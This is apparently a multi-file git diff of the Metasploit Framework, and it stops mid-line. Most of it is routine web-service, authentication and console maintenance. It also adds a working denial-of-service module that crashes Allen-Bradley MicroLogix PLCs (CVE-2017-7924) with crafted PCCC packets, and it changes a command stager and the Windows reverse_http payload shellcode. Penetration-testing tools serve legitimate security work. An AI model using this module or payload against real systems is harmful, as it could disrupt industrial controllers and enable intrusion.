b/lib/msf/core/exploit/cmdstager.rb index 8f58a2fac2f9..0219d354ba49 100644 --- a/lib/msf/core/exploit/cmdstager.rb +++ b/lib/msf/core/exploit/cmdstager.rb @@ -23,7 +23,8 @@ module Exploit::CmdStager :certutil => Rex::Exploitation::CmdStagerCertutil, :tftp => Rex::Exploitation::CmdStagerTFTP, :wget => Rex::Exploitation::CmdStagerWget, - :curl => Rex::Exploitation::CmdStagerCurl + :curl => Rex::Exploitation::CmdStagerCurl, + :fetch => Rex::Exploitation::CmdStagerFetch } # Constant for decoders - used when checking the default flavor decoder. @@ -55,7 +56,8 @@ def initialize(info = {}) register_advanced_options( [ OptEnum.new('CMDSTAGER::FLAVOR', [false, 'The CMD Stager to use.', 'auto', flavors]), - OptString.new('CMDSTAGER::DECODER', [false, 'The decoder stub to use.']) + OptString.new('CMDSTAGER::DECODER', [false, 'The decoder stub to use.']), + OptBool.new('CMDSTAGER::SSL', [false, 'Use SSL/TLS for supported stagers', false]) ], self.class) end @@ -128,6 +130,7 @@ def generate_cmdstager(opts = {}, pl = nil) self.stager_instance = create_stager if stager_instance.respond_to?(:http?) && stager_instance.http? + opts[:ssl] = datastore['CMDSTAGER::SSL'] unless opts.key?(:ssl) opts[:payload_uri] = start_service(opts) end diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index eedf4cfab0fe..f0996e3087c2 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -255,32 +255,43 @@ def asm_reverse_http(opts={}) xor ebx, ebx ; Set ebx to NULL to use in future arguments ^ + asm << %Q^ + internetopen: + push ebx ; DWORD dwFlags + ^ if proxy_enabled asm << %Q^ - internetopen: - push ebx ; DWORD dwFlags push esp ; LPCTSTR lpszProxyBypass ("" = empty string) call get_proxy_server db "#{proxy_info}", 0x00 get_proxy_server: ; LPCTSTR lpszProxyName (via call) push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3) - push ebx ; LPCTSTR lpszAgent (NULL) - push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')} - call ebp ^ else asm << %Q^ - internetopen: - push ebx ; DWORD dwFlags push ebx ; LPCTSTR lpszProxyBypass (NULL) push ebx ; LPCTSTR lpszProxyName (NULL) push ebx ; DWORD dwAccessType (PRECONFIG = 0) + ^ + end + if opts[:ua].nil? + asm << %Q^ push ebx ; LPCTSTR lpszAgent (NULL) - push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')} - call ebp + ^ + else + asm << %Q^ + push ebx ; LPCTSTR lpszProxyBypass (NULL) + call get_useragent + db "#{opts[:ua]}", 0x00 + ; LPCTSTR lpszAgent (via call) + get_useragent: ^ end + asm << %Q^ + push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')} + call ebp + ^ asm << %Q^ internetconnect: diff --git a/lib/msf/core/session.rb b/lib/msf/core/session.rb index b02b9fd0545b..f854bf2c428e 100644 --- a/lib/msf/core/session.rb +++ b/lib/msf/core/session.rb @@ -285,9 +285,7 @@ def via_payload def cleanup if db_record and framework.db.active ::ActiveRecord::Base.connection_pool.with_connection { - db_record.closed_at = Time.now.utc - # ignore exceptions - db_record.save + framework.db.update_session(id: db_record.id, closed_at: Time.now.utc, close_reason: db_record.close_reason) db_record = nil } end diff --git a/lib/msf/core/session_manager.rb b/lib/msf/core/session_manager.rb index f59487607504..2db050ec6f00 100644 --- a/lib/msf/core/session_manager.rb +++ b/lib/msf/core/session_manager.rb @@ -119,8 +119,7 @@ def initialize(framework) # as recently seen. This notifies other framework instances that this # session is being maintained. if s.db_record - s.db_record.last_seen = Time.now.utc - s.db_record.save + s.db_record = framework.db.update_session(id: s.db_record.id, last_seen: Time.now.utc) end end end diff --git a/lib/msf/core/web_services/authentication/strategies/user_password.rb b/lib/msf/core/web_services/authentication/strategies/user_password.rb index 087c465c603f..52d921f0c822 100644 --- a/lib/msf/core/web_services/authentication/strategies/user_password.rb +++ b/lib/msf/core/web_services/authentication/strategies/user_password.rb @@ -1,3 +1,5 @@ +require 'json' + module Authentication module Strategies class UserPassword < Warden::Strategies::Base @@ -16,21 +18,31 @@ class UserPassword < Warden::Strategies::Base # Check if request contains valid data and should be authenticated. # @return [Boolean] true if strategy should be run for the request; otherwise, false. def valid? - params['username'] && params['password'] + begin + body = JSON.parse(request.body.read, symbolize_names: true) + body[:username] && body[:password] + ensure + request.body.rewind # Reset the StringIO buffer so any further consumers can read the body + end end # Authenticate the request. def authenticate! - db_manager = env['msf.db_manager'] - user = db_manager.users(username: params['username']).first + begin + body = JSON.parse(request.body.read, symbolize_names: true) - if user.nil? || !db_manager.authenticate_user(id: user.id, password: params['password']) - fail("Invalid username or password.") - else - success!(user) + db_manager = env['msf.db_manager'] + user = db_manager.users(username: body[:username]).first + + if user.nil? || !db_manager.authenticate_user(id: user.id, password: body[:password]) + fail("Invalid username or password.") + else + success!(user) + end + ensure + request.body.rewind # Reset the StringIO buffer so any further consumers can read the body end end - end end end diff --git a/lib/msf/core/web_services/json_rpc_app.rb b/lib/msf/core/web_services/json_rpc_app.rb index 7d7b2bf40cac..01031eb5ac2b 100644 --- a/lib/msf/core/web_services/json_rpc_app.rb +++ b/lib/msf/core/web_services/json_rpc_app.rb @@ -1,6 +1,6 @@ +require 'securerandom' require 'sinatra/base' require 'swagger/blocks' -require 'sysrandom/securerandom' require 'warden' require 'msf/core/rpc' require 'msf/core/web_services/authentication' diff --git a/lib/msf/core/web_services/metasploit_api_app.rb b/lib/msf/core/web_services/metasploit_api_app.rb index 8ec679c5b079..3078156ac8bc 100644 --- a/lib/msf/core/web_services/metasploit_api_app.rb +++ b/lib/msf/core/web_services/metasploit_api_app.rb @@ -1,6 +1,6 @@ +require 'securerandom' require 'sinatra/base' require 'swagger/blocks' -require 'sysrandom/securerandom' require 'warden' require 'msf/core/web_services/authentication' require 'msf/core/web_services/servlet_helper' @@ -25,6 +25,7 @@ require 'msf/core/web_services/servlet/vuln_attempt_servlet' require 'msf/core/web_services/servlet/user_servlet' require 'msf/core/web_services/servlet/module_search_servlet' +require 'msf/core/web_services/servlet/db_import_servlet' class MetasploitApiApp < Sinatra::Base helpers ServletHelper @@ -51,6 +52,7 @@ class MetasploitApiApp < Sinatra::Base register VulnAttemptServlet register UserServlet register ModuleSearchServlet + register DbImportServlet configure do set :sessions, {key: 'msf-ws.session', expire_after: 300} @@ -97,4 +99,4 @@ class MetasploitApiApp < Sinatra::Base action: AuthServlet.api_unauthenticated_path end -end \ No newline at end of file +end diff --git a/lib/msf/core/web_services/public/msf-ws.css b/lib/msf/core/web_services/public/msf-ws.css index 44f3c72e3699..6b0da3bf22f3 100644 --- a/lib/msf/core/web_services/public/msf-ws.css +++ b/lib/msf/core/web_services/public/msf-ws.css @@ -86,7 +86,7 @@ input[type=text], input[type=password] { height: 34px; } -button { +input[type=button] { border-color: rgba(0, 0, 0, 0.6); border-width: 1px; cursor: pointer; diff --git a/lib/msf/core/web_services/servlet/auth_servlet.rb b/lib/msf/core/web_services/servlet/auth_servlet.rb index 7cf8d6ae35fe..6498ff4fe941 100644 --- a/lib/msf/core/web_services/servlet/auth_servlet.rb +++ b/lib/msf/core/web_services/servlet/auth_servlet.rb @@ -31,7 +31,7 @@ def self.registered(app) app.post AuthServlet.api_login_path, &post_login app.get AuthServlet.api_logout_path, &get_logout - app.get AuthServlet.api_generate_token_path, &get_generate_token + app.post AuthServlet.api_generate_token_path, &post_generate_token app.post "#{AuthServlet.api_unauthenticated_path}/?:scope?", &post_unauthenticated end @@ -75,7 +75,7 @@ def self.get_logout end # Generate a new API token for the current user - def self.get_generate_token + def self.post_generate_token lambda { # change action to drop the scope param since this is used # by XMLHttpRequest (XHR) and we don't want a redirect @@ -103,4 +103,4 @@ def self.post_unauthenticated } end -end \ No newline at end of file +end diff --git a/lib/msf/core/web_services/servlet/db_import_servlet.rb b/lib/msf/core/web_services/servlet/db_import_servlet.rb new file mode 100644 index 000000000000..3c6f1439f60d --- /dev/null +++ b/lib/msf/core/web_services/servlet/db_import_servlet.rb @@ -0,0 +1,30 @@ +module DbImportServlet + + def self.api_path + '/api/v1/db-import' + end + + def self.registered(app) + app.post DbImportServlet.api_path, &db_import + end + + ####### + private + ####### + + def self.db_import + lambda do + warden.authenticate! + + job = lambda do |opts| + db_filename = File.basename(opts[:filename]) + db_local_path = File.join(Msf::Config.local_directory, db_filename) + opts[:path] = process_file(opts[:data], db_local_path) + get_db.import_file(opts) + end + + exec_report_job(request, &job) + end + end + +end diff --git a/lib/msf/core/web_services/servlet/event_servlet.rb b/lib/msf/core/web_services/servlet/event_servlet.rb index 8284d3225d42..a9c4b8ffe7b7 100644 --- a/lib/msf/core/web_services/servlet/event_servlet.rb +++ b/lib/msf/core/web_services/servlet/event_servlet.rb @@ -4,7 +4,12 @@ def self.api_path '/api/v1/events' end + def self.api_path_with_id + "#{EventServlet.api_path}/?:id?" + end + def self.registered(app) + app.get EventServlet.api_path_with_id, &get_event app.post EventServlet.api_path, &report_event end @@ -12,10 +17,24 @@ def self.registered(app) private ####### + def self.get_event + lambda { + warden.authenticate! + begin + sanitized_params = sanitize_params(params, env['rack.request.query_hash']) + data = get_db.events(sanitized_params) + data = data.first if is_single_object?(data, sanitized_params) + set_json_data_response(response: data) + rescue => e + print_error_and_create_response(error: e, message: 'There was an error retrieving events:', code: 500) + end + } + end + def self.report_event lambda { + warden.authenticate! begin - warden.authenticate! job = lambda { |opts| get_db.report_event(opts) } exec_report_job(request, &job) rescue => e diff --git a/lib/msf/core/web_services/servlet/host_servlet.rb b/lib/msf/core/web_services/servlet/host_servlet.rb index cc4c8d73133f..f090ac166636 100644 --- a/lib/msf/core/web_services/servlet/host_servlet.rb +++ b/lib/msf/core/web_services/servlet/host_servlet.rb @@ -34,7 +34,7 @@ def self.get_host data = data.first if is_single_object?(data, sanitized_params) set_json_data_response(response: data, includes: includes) rescue => e - print_error_and_create_response(error: e, message: 'There was an error getting hosts:', code: 500) + print_error_and_create_response(error: e, message: 'There was an error retrieving hosts:', code: 500) end } end diff --git a/lib/msf/core/web_services/servlet/login_servlet.rb b/lib/msf/core/web_services/servlet/login_servlet.rb index 1a84015c215b..8270ee736152 100644 --- a/lib/msf/core/web_services/servlet/login_servlet.rb +++ b/lib/msf/core/web_services/servlet/login_servlet.rb @@ -9,7 +9,7 @@ def self.api_path_with_id end def self.registered(app) - app.get LoginServlet.api_path, &get_logins + app.get LoginServlet.api_path_with_id, &get_logins app.post LoginServlet.api_path, &create_login app.put LoginServlet.api_path_with_id, &update_login app.delete LoginServlet.api_path, &delete_logins @@ -21,11 +21,12 @@ def self.registered(app) def self.get_logins lambda { + warden.authenticate! begin sanitized_params = sanitize_params(params, env['rack.request.query_hash']) data = get_db.logins(sanitized_params) data = data.first if is_single_object?(data, sanitized_params) - set_json_response(data) + set_json_data_response(response: data) rescue => e print_error_and_create_response(error: e, message: 'There was an error retrieving logins:', code: 500) end @@ -34,12 +35,13 @@ def self.get_logins def self.create_login lambda { + warden.authenticate! begin opts = parse_json_request(request, false) opts[:core][:workspace] = get_db.workspaces(id: opts[:workspace_id]).first opts[:core] = get_db.creds(opts[:core]).first - response = get_db.create_credential_login(opts) - set_json_response(response) + data = get_db.create_credential_login(opts) + set_json_data_response(response: data) rescue => e print_error_and_create_response(error: e, message: 'There was an error creating the login:', code: 500) end @@ -48,12 +50,13 @@ def self.create_login def self.update_login lambda { + warden.authenticate! begin opts = parse_json_request(request, false) tmp_params = sanitize_params(params) opts[:id] = tmp_params[:id] if tmp_params[:id] data = get_db.update_login(opts) - set_json_response(data) + set_json_data_response(response: data) rescue => e print_error_and_create_response(error: e, message: 'There was an error updating the login:', code: 500) end @@ -62,10 +65,11 @@ def self.update_login def self.delete_logins lambda { + warden.authenticate! begin opts = parse_json_request(request, false) data = get_db.delete_logins(opts) - set_json_response(data) + set_json_data_response(response: data) rescue => e print_error_and_create_response(error: e, message: 'There was an error deleting the logins:', code: 500) end diff --git a/lib/msf/core/web_services/servlet/msf_servlet.rb b/lib/msf/core/web_services/servlet/msf_servlet.rb index ba2a67889546..96acdb9036c4 100644 --- a/lib/msf/core/web_services/servlet/msf_servlet.rb +++ b/lib/msf/core/web_services/servlet/msf_servlet.rb @@ -18,8 +18,8 @@ def self.registered(app) def self.get_msf_version lambda { + warden.authenticate! begin - warden.authenticate! set_json_data_response(response: { metasploit_version: Metasploit::Framework::VERSION }) rescue => e print_error_and_create_response(error: e, message: 'There was an error retrieving the version:', code: 500) diff --git a/lib/msf/core/web_services/servlet/session_servlet.rb b/lib/msf/core/web_services/servlet/session_servlet.rb index d073ca711841..3633cb601864 100644 --- a/lib/msf/core/web_services/servlet/session_servlet.rb +++ b/lib/msf/core/web_services/servlet/session_servlet.rb @@ -11,6 +11,7 @@ def self.api_path_with_id def self.registered(app) app.get SessionServlet.api_path_with_id, &get_session app.post SessionServlet.api_path, &report_session + app.put SessionServlet.api_path_with_id, &update_session end ####### @@ -50,4 +51,19 @@ def self.report_session } end + def self.update_session + lambda { + warden.authenticate! + begin + opts = parse_json_request(request, false) + tmp_params = sanitize_params(params) + opts[:id] = tmp_params[:id] if tmp_params[:id] + data = get_db.update_session(opts) + set_json_data_response(response: data) + rescue => e + print_error_and_create_response(error: e, message: 'There was an error updating the session:', code: 500) + end + } + end + end diff --git a/lib/msf/core/web_services/servlet/user_servlet.rb b/lib/msf/core/web_services/servlet/user_servlet.rb index 243a2748eaa2..89641cc37fd4 100644 --- a/lib/msf/core/web_services/servlet/user_servlet.rb +++ b/lib/msf/core/web_services/servlet/user_servlet.rb @@ -51,11 +51,9 @@ def self.update_user tmp_params = sanitize_params(params) opts[:id] = tmp_params[:id] if tmp_params[:id] data = get_db.update_user(opts) - # Only return the single object if the id parameter is present - data = data.first if !sanitized_params[:id].nil? && data.count == 1 set_json_data_response(response: data) rescue => e - print_error_and_create_response(error: e, message: 'There was an error creating the user:', code: 500) + print_error_and_create_response(error: e, message: 'There was an error updating the user:', code: 500) end } end diff --git a/lib/msf/core/web_services/servlet/vuln_servlet.rb b/lib/msf/core/web_services/servlet/vuln_servlet.rb index bfc0f6e0e820..50d3bc1f4d8f 100644 --- a/lib/msf/core/web_services/servlet/vuln_servlet.rb +++ b/lib/msf/core/web_services/servlet/vuln_servlet.rb @@ -1,5 +1,7 @@ module VulnServlet + JSON_INCLUDES = [:host, :refs, :module_refs] + def self.api_path '/api/v1/vulns' end @@ -25,9 +27,8 @@ def self.get_vuln begin sanitized_params = sanitize_params(params, env['rack.request.query_hash']) data = get_db.vulns(sanitized_params) - includes = [:host, :vulns_refs, :refs, :module_refs] data = data.first if is_single_object?(data, sanitized_params) - set_json_data_response(response: data, includes: includes) + set_json_data_response(response: data, includes: JSON_INCLUDES) rescue => e print_error_and_create_response(error: e, message: 'There was an error retrieving vulns:', code: 500) end @@ -51,8 +52,17 @@ def self.update_vuln opts = parse_json_request(request, false) tmp_params = sanitize_params(params) opts[:id] = tmp_params[:id] if tmp_params[:id] + # update_vuln requires refs to be of type Mdm::Ref + # Find or create the Mdm::Ref object before moving on to the update + if opts[:refs] + refs = [] + opts[:refs].each do |r| + refs << get_db.find_or_create_ref(r) + end + opts[:refs] = refs + end data = get_db.update_vuln(opts) - set_json_data_response(response: data) + set_json_data_response(response: data, includes: JSON_INCLUDES) rescue => e print_error_and_create_response(error: e, message: 'There was an error updating the vuln:', code: 500) end @@ -65,11 +75,11 @@ def self.delete_vuln begin opts = parse_json_request(request, false) data = get_db.delete_vuln(opts) - set_json_data_response(response: data) + set_json_data_response(response: data, includes: JSON_INCLUDES) rescue => e print_error_and_create_response(error: e, message: 'There was an error deleting the vulns:', code: 500) end } end -end \ No newline at end of file +end diff --git a/lib/msf/core/web_services/views/auth/account.erb b/lib/msf/core/web_services/views/auth/account.erb index 56a72467329b..0840cbc2e9d3 100644 --- a/lib/msf/core/web_services/views/auth/account.erb +++ b/lib/msf/core/web_services/views/auth/account.erb @@ -9,7 +9,7 @@ + +
-
+

Log In - Metasploit API

@@ -16,11 +57,10 @@ - - +
- \ No newline at end of file + diff --git a/lib/msf/ui/console/command_dispatcher/auxiliary.rb b/lib/msf/ui/console/command_dispatcher/auxiliary.rb index a51a355c04a0..b2549c94844b 100644 --- a/lib/msf/ui/console/command_dispatcher/auxiliary.rb +++ b/lib/msf/ui/console/command_dispatcher/auxiliary.rb @@ -60,16 +60,13 @@ def name end # - # Reloads an auxiliary module and executes it + # Tab completion for the run command # - def cmd_rerun(*args) - if reload(true) - cmd_run(*args) - end + def cmd_run_tabs(str, words) + return [] if words.length > 1 + @@auxiliary_opts.fmt.keys end - alias cmd_rexploit cmd_rerun - # # Executes an auxiliary module # @@ -147,6 +144,7 @@ def cmd_run(*args) end alias cmd_exploit cmd_run + alias cmd_exploit_tabs cmd_run_tabs def cmd_run_help print_line "Usage: run [options]" @@ -157,6 +155,19 @@ def cmd_run_help alias cmd_exploit_help cmd_run_help + # + # Reloads an auxiliary module and executes it + # + def cmd_rerun(*args) + if reload(true) + cmd_run(*args) + end + end + + alias cmd_rerun_tabs cmd_run_tabs + alias cmd_rexploit cmd_rerun + alias cmd_rexploit_tabs cmd_exploit_tabs + # # Reloads an auxiliary module and checks the target to see if it's # vulnerable. diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index 50ad0687c76d..5e2cefc0245f 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -1766,7 +1766,7 @@ def cmd_db_connect(*args) when '-l', '--list-services' list_saved_data_services return - when '-n', '--name' + when '-n', '--name' name = args.shift if name =~ /\/|\[|\]/ print_error "Provided name contains an invalid character. Aborting connection." @@ -2174,7 +2174,6 @@ def data_service_search(search_criteria) conf.each_pair do |k,v| name = k.split('/').last rv = name if name == search_criteria - rv = name if v.values.include?(search_criteria) end rv end diff --git a/lib/msf/util/service_helper.rb b/lib/msf/util/service_helper.rb new file mode 100644 index 000000000000..628fc05ec485 --- /dev/null +++ b/lib/msf/util/service_helper.rb @@ -0,0 +1,62 @@ +require 'open3' + +module Msf + module Util + class ServiceHelper + def self.run_cmd(cmd, input: nil, env: {}, debug: false) + exitstatus = 0 + err = out = "" + + $stdout.puts "run_cmd: cmd=#{cmd}, input=#{input}, env=#{env}" if debug + + Open3.popen3(env, cmd) do |stdin, stdout, stderr, wait_thr| + stdin.puts(input) if input + if debug + err = stderr.read + out = stdout.read + end + exitstatus = wait_thr.value.exitstatus + end + + if exitstatus != 0 + if debug + $stdout.puts "'#{cmd}' returned #{exitstatus}" + $stdout.puts out + $stdout.puts err + end + end + + exitstatus + end + + def self.process_active?(pid) + begin + Process.kill(0, pid) + true + rescue Errno::ESRCH + false + end + end + + def self.tail(file) + begin + File.readlines(file).last.to_s.strip + rescue + nil + end + end + + def self.thin_cmd(conf:, address:, port:, ssl:, ssl_key:, ssl_cert:, ssl_disable_verify:, + env: 'production', daemonize:, log:, pid:, tag:) + server_opts = "--rackup #{conf} --address #{address} --port #{port}" + ssl_opts = ssl ? "--ssl --ssl-key-file #{ssl_key} --ssl-cert-file #{ssl_cert}" : '' + ssl_opts << ' --ssl-disable-verify' if ssl_disable_verify + adapter_opts = "--environment #{env}" + daemon_opts = daemonize ? "--daemonize --log #{log} --pid #{pid} --tag #{tag}" : '' + all_opts = [server_opts, ssl_opts, adapter_opts, daemon_opts].reject(&:empty?).join(' ') + + "thin #{all_opts}" + end + end + end +end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb index 43611b3345b2..cb633f7233c4 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb @@ -215,7 +215,7 @@ def Registry.set_value(hkey, name, type, data) request.add_tlv(TLV_TYPE_VALUE_NAME, name) request.add_tlv(TLV_TYPE_VALUE_TYPE, type) - if (type == REG_SZ) + if type == REG_SZ || type == REG_MULTI_SZ data += "\x00" elsif (type == REG_DWORD) data = [ data.to_i ].pack("V") @@ -237,7 +237,7 @@ def Registry.set_value_direct(root_key, base_key, name, type, data, perm = KEY_W request.add_tlv(TLV_TYPE_VALUE_NAME, name) request.add_tlv(TLV_TYPE_VALUE_TYPE, type) - if type == REG_SZ + if type == REG_SZ || type == REG_MULTI_SZ data += "\x00" elsif type == REG_DWORD data = [data.to_i].pack('V') diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 18400ea14db6..1bbed2427969 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -70,9 +70,9 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.3.56' + spec.add_runtime_dependency 'metasploit-payloads', '1.3.58' # Needed for the next-generation POSIX Meterpreter - spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.5.0' + spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.5.1' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # get list of network interfaces, like eth* from OS. @@ -100,10 +100,9 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'redcarpet' # Needed for Microsoft patch finding tool (msu_finder) spec.add_runtime_dependency 'patch_finder' - # Required for msfdb_ws (Metasploit data base as a webservice) + # Required for Metasploit Web Services spec.add_runtime_dependency 'thin' spec.add_runtime_dependency 'sinatra' - spec.add_runtime_dependency 'sysrandom' spec.add_runtime_dependency 'warden' # Required for JSON-RPC client spec.add_runtime_dependency 'em-http-request' diff --git a/modules/auxiliary/admin/http/scadabr_credential_dump.rb b/modules/auxiliary/admin/http/scadabr_credential_dump.rb index b683343e9db4..0ba7bba143ec 100644 --- a/modules/auxiliary/admin/http/scadabr_credential_dump.rb +++ b/modules/auxiliary/admin/http/scadabr_credential_dump.rb @@ -20,7 +20,7 @@ def initialize(info = {}) This module has been tested successfully with ScadaBR versions 1.0 CE and 0.9 on Windows and Ubuntu systems. }, - 'Author' => 'Brendan Coles ', + 'Author' => 'bcoles', 'License' => MSF_LICENSE, 'References' => ['URL', 'http://www.scadabr.com.br/?q=node/1375'], 'Targets' => [[ 'Automatic', {} ]], diff --git a/modules/auxiliary/admin/smb/ms17_010_command.rb b/modules/auxiliary/admin/smb/ms17_010_command.rb index e866c39653b7..1b5430c21b2d 100644 --- a/modules/auxiliary/admin/smb/ms17_010_command.rb +++ b/modules/auxiliary/admin/smb/ms17_010_command.rb @@ -104,7 +104,7 @@ def smb_pwn(ip) output = execute_command_with_output(text, bat, datastore['COMMAND'], @smbshare, @ip, datastore['RETRY'], datastore['DELAY']) # Report output - print_good("Command completed successfuly!") + print_good("Command completed successfully!") print_status("Output for \"#{datastore['COMMAND']}\":\n") print_line("#{output}\n") report_note( diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb index 7b08762c0427..ccac432747ad 100644 --- a/modules/auxiliary/admin/smb/psexec_command.rb +++ b/modules/auxiliary/admin/smb/psexec_command.rb @@ -72,7 +72,7 @@ def run_host(ip) output = execute_command_with_output(text, bat, datastore['COMMAND'], @smbshare, @ip, datastore['RETRY'], datastore['DELAY']) unless output.nil? - print_good("Command completed successfuly!") + print_good("Command completed successfully!") print_status("Output for \"#{datastore['COMMAND']}\":\n") print_line("#{output}\n") report_note( diff --git a/modules/auxiliary/dos/scada/allen_bradley_pccc.rb b/modules/auxiliary/dos/scada/allen_bradley_pccc.rb new file mode 100644 index 000000000000..588b947a1791 --- /dev/null +++ b/modules/auxiliary/dos/scada/allen_bradley_pccc.rb @@ -0,0 +1,209 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Udp + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super( + 'Name' => "DoS Exploitation of Allen-Bradley's Legacy Protocol (PCCC)", + 'Description' => %q{ + A remote, unauthenticated attacker could send a single, specially crafted + Programmable Controller Communication Commands (PCCC) packet to the controller + that could potentially cause the controller to enter a DoS condition. + MicroLogix 1100 controllers are affected: 1763-L16BWA, 1763-L16AWA, 1763-L16BBB, and + 1763-L16DWD. + CVE-2017-7924 has been assigned to this vulnerability. + A CVSS v3 base score of 7.5 has been assigned. + }, + 'Author' => [ + 'José Diogo Monteiro ', + 'Luis Rosa ', + 'Miguel Borges de Freitas ' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2017-7924' ], + [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-138-03' ], + [ 'URL', 'http://dl.acm.org/citation.cfm?doid=3174776.3174780'] + ]) + register_options([Opt::RPORT(44818),]) + end + + VULN_LIST = ['1763-L16BWA','1763-L16AWA','1763-L16BBB','1763-L16DWD'] + VULN_FW_VERSION_MIN = 14.00 + VULN_FW_VERSION_MAX = 16.00 + def le_pp(s) + "0x#{Rex::Text.to_hex(s, prefix="").scan(/../).reverse.join("")}" + end + + def enip_register_session_pkt + # ENIP encapsulation Header + "\x65\x00" + # Command register session (0x0065) + "\x04\x00" + # Lenght (4) + "\x00\x00\x00\x00" + # Session handle (0x00000000) + "\x00\x00\x00\x00" + # Status success (0x00000000) + "\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context (0x0000000000000000) + "\x00\x00\x00\x00" + # Options (0x00000000) + # Protocol Specific Data + "\x01\x00" + # Protocol version (1) + "\x00\x00" # Option flags (0x00000000) + end + + def enip_ccm_forward_open_pkt(enip_session_handle) + # ENIP encapsulation header + "\x6f\x00" + # Send RR data (0x006f) + "\x3e\x00" + # Lenght (63) + enip_session_handle + # Session handle (retrieved from register session) + "\x00\x00\x00\x00" + # Status success (0x00000000) + "\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context (0x0000000000000000) + "\x00\x00\x00\x00" + # Options (0x00000000) + # Command specific data + "\x00\x00\x00\x00" + # Interface handle (CIP = 0x00000000) + "\x00\x00" + # Timeout (0) + "\x02\x00" + # Item count (2) + "\x00\x00" + # Item 1 type id (Null address item) + "\x00\x00" + # Item 1 length (0) + "\xb2\x00" + # Item 2 type id (Unconnected data item) + "\x2e\x00" + # Item 2 length (46) + # CIP Connection manager specific data + "\x54\x02\x20\x06\x24\x01\x0a\xf0" + + "\x00\x00\x00\x00\x52\xac\xda\x89" + + "\x55\x0c\x35\x01\xe1\x08\xb0\x60" + + "\x07\x00\x00\x00\x00\x40\x00\x00" + + "\x12\x43\x00\x40\x00\x00\x12\x43" + + "\xa3\x02\x20\x02\x24\x01" + end + + # Any combination of File Number 0x02–0x08 and File Type 0x48 or 0x47 will trigger a Major Error (0x08) + def pccc_dos_pkt(enip_session_id, cip_connection_id) + # ENIP encapsulation header + "\x70\x00" + # Send unit data (0x0070) + "\x2d\x00" + # Length + enip_session_id + # ENIP session handle (obtained from enip register session) + "\x00\x00\x00\x00" + # Status Success + "\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context + "\x00\x00\x00\x00" + # Options + # Command Specific data + "\x00\x00\x00\x00" + # Interface handle (CIP) + "\x00\x00" + # Timeout (0) + "\x02\x00" + # Item count + "\xa1\x00" + # Item 1 - Type ID (Connected address item) + "\x04\x00" + # Item 1 - Length (4) + cip_connection_id + # CIP connection ID (obtained from CIP CM packet) + "\xb1\x00" + # Item 2 - Type ID (Connected data item) + "\x19\x00" + # Item 2 - Length (25) + "\x01\x00" + # Item 2 - CIP Sequence Count (1) - first packet + # PCCC Command data + "\x4b" + # Execute PCCC (0x4b) + "\x02\x20\x67\x24\x01" + # no idea what this is + "\x07" + # Requestor ID length + "\x35\x01" + # CIP vendor ID + "\xe1\x08\xb0\x60" + # CIP serial number + "\x0f" + # Command code + "\x00" + # Status (success 0x00) + "\x2a\x58" + # Transaction code + "\xa2" + # Function code (Protected typed logical read with three address fields) + "\x00" + # Byte size + "\x05" + # File number + "\x47" + # File type + "\x00" + # Element number + "\x00" # Sub-element number + end + + def enip_list_identify_pkt + "\x63\x00" + # List Identity + "\x00\x00" + # Length + "\x00\x00\x00\x00" + # Session Handle + "\x00\x00\x00\x00" + # Status: Success + "\x00\x00" + # Max Response Delay + "\x00\x00\xc1\xde\xbe\xd1" + # Sender Context + "\x00\x00\x00\x00" # Options + end + + + def check + + connect_udp + + udp_sock.put(enip_list_identify_pkt) + res = udp_sock.recvfrom(90) + + disconnect_udp + + unless res && res[0].length > 63 && res[0][0,2] == "\x63\x00" + print_error "EtherNet/IP Packet Not Valid" + return Exploit::CheckCode::Unsupported + end + + revision = res[0][54,2] + product_name_len = res[0][62].unpack("c*")[0] + + + product_name = res[0][63,product_name_len] + print_status "Product Name: #{product_name}" + + array = product_name.split(' ') + plc_model = array[0] + + return Exploit::CheckCode::Safe unless VULN_LIST.any? { |e| plc_model.include? e } + + firmware = array[1] + begin + firmware_nbr = firmware.scan(/(\d+[.,]\d+)/).flatten.first.to_f + if firmware_nbr >= VULN_FW_VERSION_MIN && firmware_nbr < VULN_FW_VERSION_MAX + return Exploit::CheckCode::Vulnerable + elsif firmware_nbr < VULN_FW_VERSION_MIN + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Safe + end + rescue + return Exploit::CheckCode::Unknown + end + + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e + elog("#{e.class} 